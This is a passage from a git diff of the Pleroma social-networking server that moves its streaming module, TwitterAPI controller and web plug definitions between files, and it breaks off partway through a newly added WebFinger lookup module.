= user, + %Token{user_id: token_user_id} = oauth_token, + _params + ) + when stream in @user_streams and user_id == token_user_id do + # Note: "read" works for all user streams (not mentioning it since it's an ancestor scope) + required_scopes = + if stream == "user:notification" do + ["read:notifications"] + else + ["read:statuses"] + end + + if OAuthScopesPlug.filter_descendants(required_scopes, oauth_token.scopes) == [] do + {:error, :unauthorized} + else + {:ok, stream <> ":" <> to_string(user.id)} + end + end + + def get_topic(stream, _user, _oauth_token, _params) when stream in @user_streams do + {:error, :unauthorized} + end + + # List streams. + def get_topic( + "list", + %User{id: user_id} = user, + %Token{user_id: token_user_id} = oauth_token, + %{"list" => id} + ) + when user_id == token_user_id do + cond do + OAuthScopesPlug.filter_descendants(["read", "read:lists"], oauth_token.scopes) == [] -> + {:error, :unauthorized} + + Pleroma.List.get(id, user) -> + {:ok, "list:" <> to_string(id)} + + true -> + {:error, :bad_topic} + end + end + + def get_topic("list", _user, _oauth_token, _params) do + {:error, :unauthorized} + end + + def get_topic(_stream, _user, _oauth_token, _params) do + {:error, :bad_topic} + end + + @doc "Registers the process for streaming. Use `get_topic/3` to get the full authorized topic." + def add_socket(topic, user) do + if should_env_send?() do + auth? = if user, do: true + Registry.register(@registry, topic, auth?) + end + + {:ok, topic} + end + + def remove_socket(topic) do + if should_env_send?(), do: Registry.unregister(@registry, topic) + end + + def stream(topics, items) do + if should_env_send?() do + List.wrap(topics) + |> Enum.each(fn topic -> + List.wrap(items) + |> Enum.each(fn item -> + spawn(fn -> do_stream(topic, item) end) + end) + end) + end + + :ok + end + + def filtered_by_user?(user, item, streamed_type \\ :activity) + + def filtered_by_user?(%User{} = user, %Activity{} = item, streamed_type) do + %{block: blocked_ap_ids, mute: muted_ap_ids, reblog_mute: reblog_muted_ap_ids} = + User.outgoing_relationships_ap_ids(user, [:block, :mute, :reblog_mute]) + + recipient_blocks = MapSet.new(blocked_ap_ids ++ muted_ap_ids) + recipients = MapSet.new(item.recipients) + domain_blocks = Pleroma.Web.ActivityPub.MRF.subdomains_regex(user.domain_blocks) + + with parent <- Object.normalize(item) || item, + true <- + Enum.all?([blocked_ap_ids, muted_ap_ids], &(item.actor not in &1)), + true <- item.data["type"] != "Announce" || item.actor not in reblog_muted_ap_ids, + true <- + !(streamed_type == :activity && item.data["type"] == "Announce" && + parent.data["actor"] == user.ap_id), + true <- Enum.all?([blocked_ap_ids, muted_ap_ids], &(parent.data["actor"] not in &1)), + true <- MapSet.disjoint?(recipients, recipient_blocks), + %{host: item_host} <- URI.parse(item.actor), + %{host: parent_host} <- URI.parse(parent.data["actor"]), + false <- Pleroma.Web.ActivityPub.MRF.subdomain_match?(domain_blocks, item_host), + false <- Pleroma.Web.ActivityPub.MRF.subdomain_match?(domain_blocks, parent_host), + true <- thread_containment(item, user), + false <- CommonAPI.thread_muted?(user, parent) do + false + else + _ -> true + end + end + + def filtered_by_user?(%User{} = user, %Notification{activity: activity}, _) do + filtered_by_user?(user, activity, :notification) + end + + defp do_stream("direct", item) do + recipient_topics = + User.get_recipients_from_activity(item) + |> Enum.map(fn %{id: id} -> "direct:#{id}" end) + + Enum.each(recipient_topics, fn user_topic -> + Logger.debug("Trying to push direct message to #{user_topic}\n\n") + push_to_socket(user_topic, item) + end) + end + + defp do_stream("participation", participation) do + user_topic = "direct:#{participation.user_id}" + Logger.debug("Trying to push a conversation participation to #{user_topic}\n\n") + + push_to_socket(user_topic, participation) + end + + defp do_stream("list", item) do + # filter the recipient list if the activity is not public, see #270. + recipient_lists = + case Visibility.is_public?(item) do + true -> + Pleroma.List.get_lists_from_activity(item) + + _ -> + Pleroma.List.get_lists_from_activity(item) + |> Enum.filter(fn list -> + owner = User.get_cached_by_id(list.user_id) + + Visibility.visible_for_user?(item, owner) + end) + end + + recipient_topics = + recipient_lists + |> Enum.map(fn %{id: id} -> "list:#{id}" end) + + Enum.each(recipient_topics, fn list_topic -> + Logger.debug("Trying to push message to #{list_topic}\n\n") + push_to_socket(list_topic, item) + end) + end + + defp do_stream(topic, %Notification{} = item) + when topic in ["user", "user:notification"] do + Registry.dispatch(@registry, "#{topic}:#{item.user_id}", fn list -> + Enum.each(list, fn {pid, _auth} -> + send(pid, {:render_with_user, StreamerView, "notification.json", item}) + end) + end) + end + + defp do_stream(topic, {user, %MessageReference{} = cm_ref}) + when topic in ["user", "user:pleroma_chat"] do + topic = "#{topic}:#{user.id}" + + text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) + + Registry.dispatch(@registry, topic, fn list -> + Enum.each(list, fn {pid, _auth} -> + send(pid, {:text, text}) + end) + end) + end + + defp do_stream("user", item) do + Logger.debug("Trying to push to users") + + recipient_topics = + User.get_recipients_from_activity(item) + |> Enum.map(fn %{id: id} -> "user:#{id}" end) + + Enum.each(recipient_topics, fn topic -> + push_to_socket(topic, item) + end) + end + + defp do_stream(topic, item) do + Logger.debug("Trying to push to #{topic}") + Logger.debug("Pushing item to #{topic}") + push_to_socket(topic, item) + end + + defp push_to_socket(topic, %Participation{} = participation) do + rendered = StreamerView.render("conversation.json", participation) + + Registry.dispatch(@registry, topic, fn list -> + Enum.each(list, fn {pid, _} -> + send(pid, {:text, rendered}) + end) + end) + end + + defp push_to_socket(topic, %Activity{ + data: %{"type" => "Delete", "deleted_activity_id" => deleted_activity_id} + }) do + rendered = Jason.encode!(%{event: "delete", payload: to_string(deleted_activity_id)}) + + Registry.dispatch(@registry, topic, fn list -> + Enum.each(list, fn {pid, _} -> + send(pid, {:text, rendered}) + end) + end) + end + + defp push_to_socket(_topic, %Activity{data: %{"type" => "Delete"}}), do: :noop + + defp push_to_socket(topic, item) do + anon_render = StreamerView.render("update.json", item) + + Registry.dispatch(@registry, topic, fn list -> + Enum.each(list, fn {pid, auth?} -> + if auth? do + send(pid, {:render_with_user, StreamerView, "update.json", item}) + else + send(pid, {:text, anon_render}) + end + end) + end) + end + + defp thread_containment(_activity, %User{skip_thread_containment: true}), do: true + + defp thread_containment(activity, user) do + if Config.get([:instance, :skip_thread_containment]) do + true + else + ActivityPub.contain_activity(activity, user) + end + end + + # In test environement, only return true if the registry is started. + # In benchmark environment, returns false. + # In any other environment, always returns true. + cond do + @mix_env == :test -> + def should_env_send? do + case Process.whereis(@registry) do + nil -> + false + + pid -> + Process.alive?(pid) + end + end + + @mix_env == :benchmark -> + def should_env_send?, do: false + + true -> + def should_env_send?, do: true + end +end diff --git a/lib/pleroma/web/streamer/streamer.ex b/lib/pleroma/web/streamer/streamer.ex deleted file mode 100644 index 5475f18a6..000000000 --- a/lib/pleroma/web/streamer/streamer.ex +++ /dev/null @@ -1,331 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Streamer do - require Logger - - alias Pleroma.Activity - alias Pleroma.Chat.MessageReference - alias Pleroma.Config - alias Pleroma.Conversation.Participation - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Visibility - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.StreamerView - - @mix_env Mix.env() - @registry Pleroma.Web.StreamerRegistry - - def registry, do: @registry - - @public_streams ["public", "public:local", "public:media", "public:local:media"] - @user_streams ["user", "user:notification", "direct", "user:pleroma_chat"] - - @doc "Expands and authorizes a stream, and registers the process for streaming." - @spec get_topic_and_add_socket( - stream :: String.t(), - User.t() | nil, - Token.t() | nil, - Map.t() | nil - ) :: - {:ok, topic :: String.t()} | {:error, :bad_topic} | {:error, :unauthorized} - def get_topic_and_add_socket(stream, user, oauth_token, params \\ %{}) do - case get_topic(stream, user, oauth_token, params) do - {:ok, topic} -> add_socket(topic, user) - error -> error - end - end - - @doc "Expand and authorizes a stream" - @spec get_topic(stream :: String.t(), User.t() | nil, Token.t() | nil, Map.t()) :: - {:ok, topic :: String.t()} | {:error, :bad_topic} - def get_topic(stream, user, oauth_token, params \\ %{}) - - # Allow all public steams. - def get_topic(stream, _user, _oauth_token, _params) when stream in @public_streams do - {:ok, stream} - end - - # Allow all hashtags streams. - def get_topic("hashtag", _user, _oauth_token, %{"tag" => tag} = _params) do - {:ok, "hashtag:" <> tag} - end - - # Expand user streams. - def get_topic( - stream, - %User{id: user_id} = user, - %Token{user_id: token_user_id} = oauth_token, - _params - ) - when stream in @user_streams and user_id == token_user_id do - # Note: "read" works for all user streams (not mentioning it since it's an ancestor scope) - required_scopes = - if stream == "user:notification" do - ["read:notifications"] - else - ["read:statuses"] - end - - if OAuthScopesPlug.filter_descendants(required_scopes, oauth_token.scopes) == [] do - {:error, :unauthorized} - else - {:ok, stream <> ":" <> to_string(user.id)} - end - end - - def get_topic(stream, _user, _oauth_token, _params) when stream in @user_streams do - {:error, :unauthorized} - end - - # List streams. - def get_topic( - "list", - %User{id: user_id} = user, - %Token{user_id: token_user_id} = oauth_token, - %{"list" => id} - ) - when user_id == token_user_id do - cond do - OAuthScopesPlug.filter_descendants(["read", "read:lists"], oauth_token.scopes) == [] -> - {:error, :unauthorized} - - Pleroma.List.get(id, user) -> - {:ok, "list:" <> to_string(id)} - - true -> - {:error, :bad_topic} - end - end - - def get_topic("list", _user, _oauth_token, _params) do - {:error, :unauthorized} - end - - def get_topic(_stream, _user, _oauth_token, _params) do - {:error, :bad_topic} - end - - @doc "Registers the process for streaming. Use `get_topic/3` to get the full authorized topic." - def add_socket(topic, user) do - if should_env_send?() do - auth? = if user, do: true - Registry.register(@registry, topic, auth?) - end - - {:ok, topic} - end - - def remove_socket(topic) do - if should_env_send?(), do: Registry.unregister(@registry, topic) - end - - def stream(topics, items) do - if should_env_send?() do - List.wrap(topics) - |> Enum.each(fn topic -> - List.wrap(items) - |> Enum.each(fn item -> - spawn(fn -> do_stream(topic, item) end) - end) - end) - end - - :ok - end - - def filtered_by_user?(user, item, streamed_type \\ :activity) - - def filtered_by_user?(%User{} = user, %Activity{} = item, streamed_type) do - %{block: blocked_ap_ids, mute: muted_ap_ids, reblog_mute: reblog_muted_ap_ids} = - User.outgoing_relationships_ap_ids(user, [:block, :mute, :reblog_mute]) - - recipient_blocks = MapSet.new(blocked_ap_ids ++ muted_ap_ids) - recipients = MapSet.new(item.recipients) - domain_blocks = Pleroma.Web.ActivityPub.MRF.subdomains_regex(user.domain_blocks) - - with parent <- Object.normalize(item) || item, - true <- - Enum.all?([blocked_ap_ids, muted_ap_ids], &(item.actor not in &1)), - true <- item.data["type"] != "Announce" || item.actor not in reblog_muted_ap_ids, - true <- - !(streamed_type == :activity && item.data["type"] == "Announce" && - parent.data["actor"] == user.ap_id), - true <- Enum.all?([blocked_ap_ids, muted_ap_ids], &(parent.data["actor"] not in &1)), - true <- MapSet.disjoint?(recipients, recipient_blocks), - %{host: item_host} <- URI.parse(item.actor), - %{host: parent_host} <- URI.parse(parent.data["actor"]), - false <- Pleroma.Web.ActivityPub.MRF.subdomain_match?(domain_blocks, item_host), - false <- Pleroma.Web.ActivityPub.MRF.subdomain_match?(domain_blocks, parent_host), - true <- thread_containment(item, user), - false <- CommonAPI.thread_muted?(user, parent) do - false - else - _ -> true - end - end - - def filtered_by_user?(%User{} = user, %Notification{activity: activity}, _) do - filtered_by_user?(user, activity, :notification) - end - - defp do_stream("direct", item) do - recipient_topics = - User.get_recipients_from_activity(item) - |> Enum.map(fn %{id: id} -> "direct:#{id}" end) - - Enum.each(recipient_topics, fn user_topic -> - Logger.debug("Trying to push direct message to #{user_topic}\n\n") - push_to_socket(user_topic, item) - end) - end - - defp do_stream("participation", participation) do - user_topic = "direct:#{participation.user_id}" - Logger.debug("Trying to push a conversation participation to #{user_topic}\n\n") - - push_to_socket(user_topic, participation) - end - - defp do_stream("list", item) do - # filter the recipient list if the activity is not public, see #270. - recipient_lists = - case Visibility.is_public?(item) do - true -> - Pleroma.List.get_lists_from_activity(item) - - _ -> - Pleroma.List.get_lists_from_activity(item) - |> Enum.filter(fn list -> - owner = User.get_cached_by_id(list.user_id) - - Visibility.visible_for_user?(item, owner) - end) - end - - recipient_topics = - recipient_lists - |> Enum.map(fn %{id: id} -> "list:#{id}" end) - - Enum.each(recipient_topics, fn list_topic -> - Logger.debug("Trying to push message to #{list_topic}\n\n") - push_to_socket(list_topic, item) - end) - end - - defp do_stream(topic, %Notification{} = item) - when topic in ["user", "user:notification"] do - Registry.dispatch(@registry, "#{topic}:#{item.user_id}", fn list -> - Enum.each(list, fn {pid, _auth} -> - send(pid, {:render_with_user, StreamerView, "notification.json", item}) - end) - end) - end - - defp do_stream(topic, {user, %MessageReference{} = cm_ref}) - when topic in ["user", "user:pleroma_chat"] do - topic = "#{topic}:#{user.id}" - - text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) - - Registry.dispatch(@registry, topic, fn list -> - Enum.each(list, fn {pid, _auth} -> - send(pid, {:text, text}) - end) - end) - end - - defp do_stream("user", item) do - Logger.debug("Trying to push to users") - - recipient_topics = - User.get_recipients_from_activity(item) - |> Enum.map(fn %{id: id} -> "user:#{id}" end) - - Enum.each(recipient_topics, fn topic -> - push_to_socket(topic, item) - end) - end - - defp do_stream(topic, item) do - Logger.debug("Trying to push to #{topic}") - Logger.debug("Pushing item to #{topic}") - push_to_socket(topic, item) - end - - defp push_to_socket(topic, %Participation{} = participation) do - rendered = StreamerView.render("conversation.json", participation) - - Registry.dispatch(@registry, topic, fn list -> - Enum.each(list, fn {pid, _} -> - send(pid, {:text, rendered}) - end) - end) - end - - defp push_to_socket(topic, %Activity{ - data: %{"type" => "Delete", "deleted_activity_id" => deleted_activity_id} - }) do - rendered = Jason.encode!(%{event: "delete", payload: to_string(deleted_activity_id)}) - - Registry.dispatch(@registry, topic, fn list -> - Enum.each(list, fn {pid, _} -> - send(pid, {:text, rendered}) - end) - end) - end - - defp push_to_socket(_topic, %Activity{data: %{"type" => "Delete"}}), do: :noop - - defp push_to_socket(topic, item) do - anon_render = StreamerView.render("update.json", item) - - Registry.dispatch(@registry, topic, fn list -> - Enum.each(list, fn {pid, auth?} -> - if auth? do - send(pid, {:render_with_user, StreamerView, "update.json", item}) - else - send(pid, {:text, anon_render}) - end - end) - end) - end - - defp thread_containment(_activity, %User{skip_thread_containment: true}), do: true - - defp thread_containment(activity, user) do - if Config.get([:instance, :skip_thread_containment]) do - true - else - ActivityPub.contain_activity(activity, user) - end - end - - # In test environement, only return true if the registry is started. - # In benchmark environment, returns false. - # In any other environment, always returns true. - cond do - @mix_env == :test -> - def should_env_send? do - case Process.whereis(@registry) do - nil -> - false - - pid -> - Process.alive?(pid) - end - end - - @mix_env == :benchmark -> - def should_env_send?, do: false - - true -> - def should_env_send?, do: true - end -end diff --git a/lib/pleroma/web/twitter_api/controller.ex b/lib/pleroma/web/twitter_api/controller.ex new file mode 100644 index 000000000..c2de26b0b --- /dev/null +++ b/lib/pleroma/web/twitter_api/controller.ex @@ -0,0 +1,100 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.Controller do + use Pleroma.Web, :controller + + alias Pleroma.Notification + alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.TwitterAPI.TokenView + + require Logger + + plug( + OAuthScopesPlug, + %{scopes: ["write:notifications"]} when action == :mark_notifications_as_read + ) + + plug( + :skip_plug, + [OAuthScopesPlug, EnsurePublicOrAuthenticatedPlug] when action == :confirm_email + ) + + plug(:skip_plug, OAuthScopesPlug when action in [:oauth_tokens, :revoke_token]) + + action_fallback(:errors) + + def confirm_email(conn, %{"user_id" => uid, "token" => token}) do + with %User{} = user <- User.get_cached_by_id(uid), + true <- user.local and user.confirmation_pending and user.confirmation_token == token, + {:ok, _} <- + user + |> User.confirmation_changeset(need_confirmation: false) + |> User.update_and_set_cache() do + redirect(conn, to: "/") + end + end + + def oauth_tokens(%{assigns: %{user: user}} = conn, _params) do + with oauth_tokens <- Token.get_user_tokens(user) do + conn + |> put_view(TokenView) + |> render("index.json", %{tokens: oauth_tokens}) + end + end + + def revoke_token(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do + Token.delete_user_token(user, id) + + json_reply(conn, 201, "") + end + + defp errors(conn, {:param_cast, _}) do + conn + |> put_status(400) + |> json("Invalid parameters") + end + + defp errors(conn, _) do + conn + |> put_status(500) + |> json("Something went wrong") + end + + defp json_reply(conn, status, json) do + conn + |> put_resp_content_type("application/json") + |> send_resp(status, json) + end + + def mark_notifications_as_read( + %{assigns: %{user: user}} = conn, + %{"latest_id" => latest_id} = params + ) do + Notification.set_read_up_to(user, latest_id) + + notifications = Notification.for_user(user, params) + + conn + # XXX: This is a hack because pleroma-fe still uses that API. + |> put_view(Pleroma.Web.MastodonAPI.NotificationView) + |> render("index.json", %{notifications: notifications, for: user}) + end + + def mark_notifications_as_read(%{assigns: %{user: _user}} = conn, _) do + bad_request_reply(conn, "You need to specify latest_id") + end + + defp bad_request_reply(conn, error_message) do + json = error_json(conn, error_message) + json_reply(conn, 400, json) + end + + defp error_json(conn, error_message) do + %{"error" => error_message, "request" => conn.request_path} |> Jason.encode!() + end +end diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex deleted file mode 100644 index c2de26b0b..000000000 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ /dev/null @@ -1,100 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.Controller do - use Pleroma.Web, :controller - - alias Pleroma.Notification - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.User - alias Pleroma.Web.OAuth.Token - alias Pleroma.Web.TwitterAPI.TokenView - - require Logger - - plug( - OAuthScopesPlug, - %{scopes: ["write:notifications"]} when action == :mark_notifications_as_read - ) - - plug( - :skip_plug, - [OAuthScopesPlug, EnsurePublicOrAuthenticatedPlug] when action == :confirm_email - ) - - plug(:skip_plug, OAuthScopesPlug when action in [:oauth_tokens, :revoke_token]) - - action_fallback(:errors) - - def confirm_email(conn, %{"user_id" => uid, "token" => token}) do - with %User{} = user <- User.get_cached_by_id(uid), - true <- user.local and user.confirmation_pending and user.confirmation_token == token, - {:ok, _} <- - user - |> User.confirmation_changeset(need_confirmation: false) - |> User.update_and_set_cache() do - redirect(conn, to: "/") - end - end - - def oauth_tokens(%{assigns: %{user: user}} = conn, _params) do - with oauth_tokens <- Token.get_user_tokens(user) do - conn - |> put_view(TokenView) - |> render("index.json", %{tokens: oauth_tokens}) - end - end - - def revoke_token(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do - Token.delete_user_token(user, id) - - json_reply(conn, 201, "") - end - - defp errors(conn, {:param_cast, _}) do - conn - |> put_status(400) - |> json("Invalid parameters") - end - - defp errors(conn, _) do - conn - |> put_status(500) - |> json("Something went wrong") - end - - defp json_reply(conn, status, json) do - conn - |> put_resp_content_type("application/json") - |> send_resp(status, json) - end - - def mark_notifications_as_read( - %{assigns: %{user: user}} = conn, - %{"latest_id" => latest_id} = params - ) do - Notification.set_read_up_to(user, latest_id) - - notifications = Notification.for_user(user, params) - - conn - # XXX: This is a hack because pleroma-fe still uses that API. - |> put_view(Pleroma.Web.MastodonAPI.NotificationView) - |> render("index.json", %{notifications: notifications, for: user}) - end - - def mark_notifications_as_read(%{assigns: %{user: _user}} = conn, _) do - bad_request_reply(conn, "You need to specify latest_id") - end - - defp bad_request_reply(conn, error_message) do - json = error_json(conn, error_message) - json_reply(conn, 400, json) - end - - defp error_json(conn, error_message) do - %{"error" => error_message, "request" => conn.request_path} |> Jason.encode!() - end -end diff --git a/lib/pleroma/web/web.ex b/lib/pleroma/web/web.ex deleted file mode 100644 index 4f9281851..000000000 --- a/lib/pleroma/web/web.ex +++ /dev/null @@ -1,239 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plug do - # Substitute for `call/2` which is defined with `use Pleroma.Web, :plug` - @callback perform(Plug.Conn.t(), Plug.opts()) :: Plug.Conn.t() -end - -defmodule Pleroma.Web do - @moduledoc """ - A module that keeps using definitions for controllers, - views and so on. - - This can be used in your application as: - - use Pleroma.Web, :controller - use Pleroma.Web, :view - - The definitions below will be executed for every view, - controller, etc, so keep them short and clean, focused - on imports, uses and aliases. - - Do NOT define functions inside the quoted expressions - below. - """ - - alias Pleroma.Plugs.EnsureAuthenticatedPlug - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - - def controller do - quote do - use Phoenix.Controller, namespace: Pleroma.Web - - import Plug.Conn - - import Pleroma.Web.Gettext - import Pleroma.Web.Router.Helpers - import Pleroma.Web.TranslationHelpers - - plug(:set_put_layout) - - defp set_put_layout(conn, _) do - put_layout(conn, Pleroma.Config.get(:app_layout, "app.html")) - end - - # Marks plugs intentionally skipped and blocks their execution if present in plugs chain - defp skip_plug(conn, plug_modules) do - plug_modules - |> List.wrap() - |> Enum.reduce( - conn, - fn plug_module, conn -> - try do - plug_module.skip_plug(conn) - rescue - UndefinedFunctionError -> - raise "`#{plug_module}` is not skippable. Append `use Pleroma.Web, :plug` to its code." - end - end - ) - end - - # Executed just before actual controller action, invokes before-action hooks (callbacks) - defp action(conn, params) do - with %{halted: false} = conn <- maybe_drop_authentication_if_oauth_check_ignored(conn), - %{halted: false} = conn <- maybe_perform_public_or_authenticated_check(conn), - %{halted: false} = conn <- maybe_perform_authenticated_check(conn), - %{halted: false} = conn <- maybe_halt_on_missing_oauth_scopes_check(conn) do - super(conn, params) - end - end - - # For non-authenticated API actions, drops auth info if OAuth scopes check was ignored - # (neither performed nor explicitly skipped) - defp maybe_drop_authentication_if_oauth_check_ignored(conn) do - if PlugHelper.plug_called?(conn, ExpectPublicOrAuthenticatedCheckPlug) and - not PlugHelper.plug_called_or_skipped?(conn, OAuthScopesPlug) do - OAuthScopesPlug.drop_auth_info(conn) - else - conn - end - end - - # Ensures instance is public -or- user is authenticated if such check was scheduled - defp maybe_perform_public_or_authenticated_check(conn) do - if PlugHelper.plug_called?(conn, ExpectPublicOrAuthenticatedCheckPlug) do - EnsurePublicOrAuthenticatedPlug.call(conn, %{}) - else - conn - end - end - - # Ensures user is authenticated if such check was scheduled - # Note: runs prior to action even if it was already executed earlier in plug chain - # (since OAuthScopesPlug has option of proceeding unauthenticated) - defp maybe_perform_authenticated_check(conn) do - if PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) do - EnsureAuthenticatedPlug.call(conn, %{}) - else - conn - end - end - - # Halts if authenticated API action neither performs nor explicitly skips OAuth scopes check - defp maybe_halt_on_missing_oauth_scopes_check(conn) do - if PlugHelper.plug_called?(conn, ExpectAuthenticatedCheckPlug) and - not PlugHelper.plug_called_or_skipped?(conn, OAuthScopesPlug) do - conn - |> render_error( - :forbidden, - "Security violation: OAuth scopes check was neither handled nor explicitly skipped." - ) - |> halt() - else - conn - end - end - end - end - - def view do - quote do - use Phoenix.View, - root: "lib/pleroma/web/templates", - namespace: Pleroma.Web - - # Import convenience functions from controllers - import Phoenix.Controller, only: [get_csrf_token: 0, get_flash: 2, view_module: 1] - - import Pleroma.Web.ErrorHelpers - import Pleroma.Web.Gettext - import Pleroma.Web.Router.Helpers - - require Logger - - @doc "Same as `render/3` but wrapped in a rescue block" - def safe_render(view, template, assigns \\ %{}) do - Phoenix.View.render(view, template, assigns) - rescue - error -> - Logger.error( - "#{__MODULE__} failed to render #{inspect({view, template})}\n" <> - Exception.format(:error, error, __STACKTRACE__) - ) - - nil - end - - @doc """ - Same as `render_many/4` but wrapped in rescue block. - """ - def safe_render_many(collection, view, template, assigns \\ %{}) do - Enum.map(collection, fn resource -> - as = Map.get(assigns, :as) || view.__resource__ - assigns = Map.put(assigns, as, resource) - safe_render(view, template, assigns) - end) - |> Enum.filter(& &1) - end - end - end - - def router do - quote do - use Phoenix.Router - # credo:disable-for-next-line Credo.Check.Consistency.MultiAliasImportRequireUse - import Plug.Conn - import Phoenix.Controller - end - end - - def channel do - quote do - # credo:disable-for-next-line Credo.Check.Consistency.MultiAliasImportRequireUse - use Phoenix.Channel - import Pleroma.Web.Gettext - end - end - - def plug do - quote do - @behaviour Pleroma.Web.Plug - @behaviour Plug - - @doc """ - Marks a plug intentionally skipped and blocks its execution if it's present in plugs chain. - """ - def skip_plug(conn) do - PlugHelper.append_to_private_list( - conn, - PlugHelper.skipped_plugs_list_id(), - __MODULE__ - ) - end - - @impl Plug - @doc """ - Before-plug hook that - * ensures the plug is not skipped - * processes `:if_func` / `:unless_func` functional pre-run conditions - * adds plug to the list of called plugs and calls `perform/2` if checks are passed - - Note: multiple invocations of the same plug (with different or same options) are allowed. - """ - def call(%Plug.Conn{} = conn, options) do - if PlugHelper.plug_skipped?(conn, __MODULE__) || - (options[:if_func] && !options[:if_func].(conn)) || - (options[:unless_func] && options[:unless_func].(conn)) do - conn - else - conn = - PlugHelper.append_to_private_list( - conn, - PlugHelper.called_plugs_list_id(), - __MODULE__ - ) - - apply(__MODULE__, :perform, [conn, options]) - end - end - end - end - - @doc """ - When used, dispatch to the appropriate controller/view/etc. - """ - defmacro __using__(which) when is_atom(which) do - apply(__MODULE__, which, []) - end - - def base_url do - Pleroma.Web.Endpoint.url() - end -end diff --git a/lib/pleroma/web/web_finger.ex b/lib/pleroma/web/web_finger.ex new file mode 100644 index 000000000..6629f5356 --- /dev/null +++ b/lib/pleroma/web/web_finger.ex @@ -0,0 +1,201 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.WebFinger do + alias Pleroma.HTTP + alias Pleroma.User + alias Pleroma.Web + alias Pleroma.Web.Federator.Publisher + alias Pleroma.Web.XML + alias Pleroma.XmlBuilder + require Jason + require Logger + + def host_meta do + base_url = Web.base_url() + + { + :XRD, + %{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"}, + { + :Link, + %{ + rel: "lrdd", + type: "application/xrd+xml", + template: "#{base_url}/.well-known/webfinger?resource={uri}" + } + } + } + |> XmlBuilder.to_doc() + end + + def webfinger(resource, fmt) when fmt in ["XML", "JSON"] do + host = Pleroma.Web.Endpoint.host() + regex = ~r/(acct:)?(?<username>[a-z0-9A-Z_\.-]+)@#{host}/ + + with %{"username" => username} <- Regex.named_captures(regex, resource), + %User{} = user <- User.get_cached_by_nickname(username) do + {:ok, represent_user(user, fmt)} + else + _e -> + with %User{} = user <- User.get_cached_by_ap_id(resource) do + {:ok, represent_user(user, fmt)} + else + _e -> + {:error, "Couldn't find user"} + end + end + end + + defp gather_links(%User{} = user) do + [ + %{ + "rel" => "http://webfinger.net/rel/profile-page", + "type" => "text/html", + "href" => user.ap_id + } + ] ++ Publisher.gather_webfinger_links(user) + end + + def represent_user(user, "JSON") do + {:ok, user} = User.ensure_keys_present(user) + + %{ + "subject" => "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", + "aliases" => [user.ap_id], + "links" => gather_links(user) + } + end + + def represent_user(user, "XML") do + {:ok, user} = User.ensure_keys_present(user) + + links = + gather_links(user) + |> Enum.map(fn link -> {:Link, link} end) + + { + :XRD, + %{xmlns: "http://docs.oasis-open.org/ns/xri/xrd-1.0"}, + [ + {:Subject, "acct:#{user.nickname}@#{Pleroma.Web.Endpoint.host()}"}, + {:Alias, user.ap_id} + ] ++ links + } + |> XmlBuilder.to_doc() + end + + defp webfinger_from_xml(doc) do + subject = XML.string_from_xpath("//Subject", doc) + + subscribe_address = + ~s{//Link[@rel="http://ostatus.org/schema/1.0/subscribe"]/@template} + |> XML.string_from_xpath(doc) + + ap_id = + ~s{//Link[@rel="self" and @type="application/activity+json"]/@href} + |> XML.string_from_xpath(doc) + + data = %{ + "subject" => subject, + "subscribe_address" => subscribe_address, + "ap_id" => ap_id + } + + {:ok, data} + end + + defp webfinger_from_json(doc) do + data = + Enum.reduce(doc["links"], %{"subject" => doc["subject"]}, fn link, data -> + case {link["type"], link["rel"]} do + {"application/activity+json", "self"} -> + Map.put(data, "ap_id", link["href"]) + + {"application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"", "self"} -> + Map.put(data, "ap_id", link["href"]) + + _ -> + Logger.debug("Unhandled type: #{inspect(link["type"])}") + data + end + end) + + {:ok, data} + end + + def get_template_from_xml(body) do + xpath = "//Link[@rel='lrdd']/@template" + + with doc when doc != :error <- XML.parse_document(body), + template when template != nil <- XML.string_from_xpath(xpath, doc) do + {:ok, template} + end + end + + def find_lrdd_template(domain) do + with {:ok, %{status: status, body: body}} when status in 200..299 <- + HTTP.get("http://#{domain}/.well-known/host-meta") do + get_template_from_xml(body) + else + _ -> + with {:ok, %{body: body, status: status}} when status in 200..299 <- + HTTP.get("https://#{domain}/.well-known/host-meta") do + get_template_from_xml(body) + else + e -> {:error, "Can't find LRDD template: #{inspect(e)}"} + end + end + end + + defp get_address_from_domain(domain, 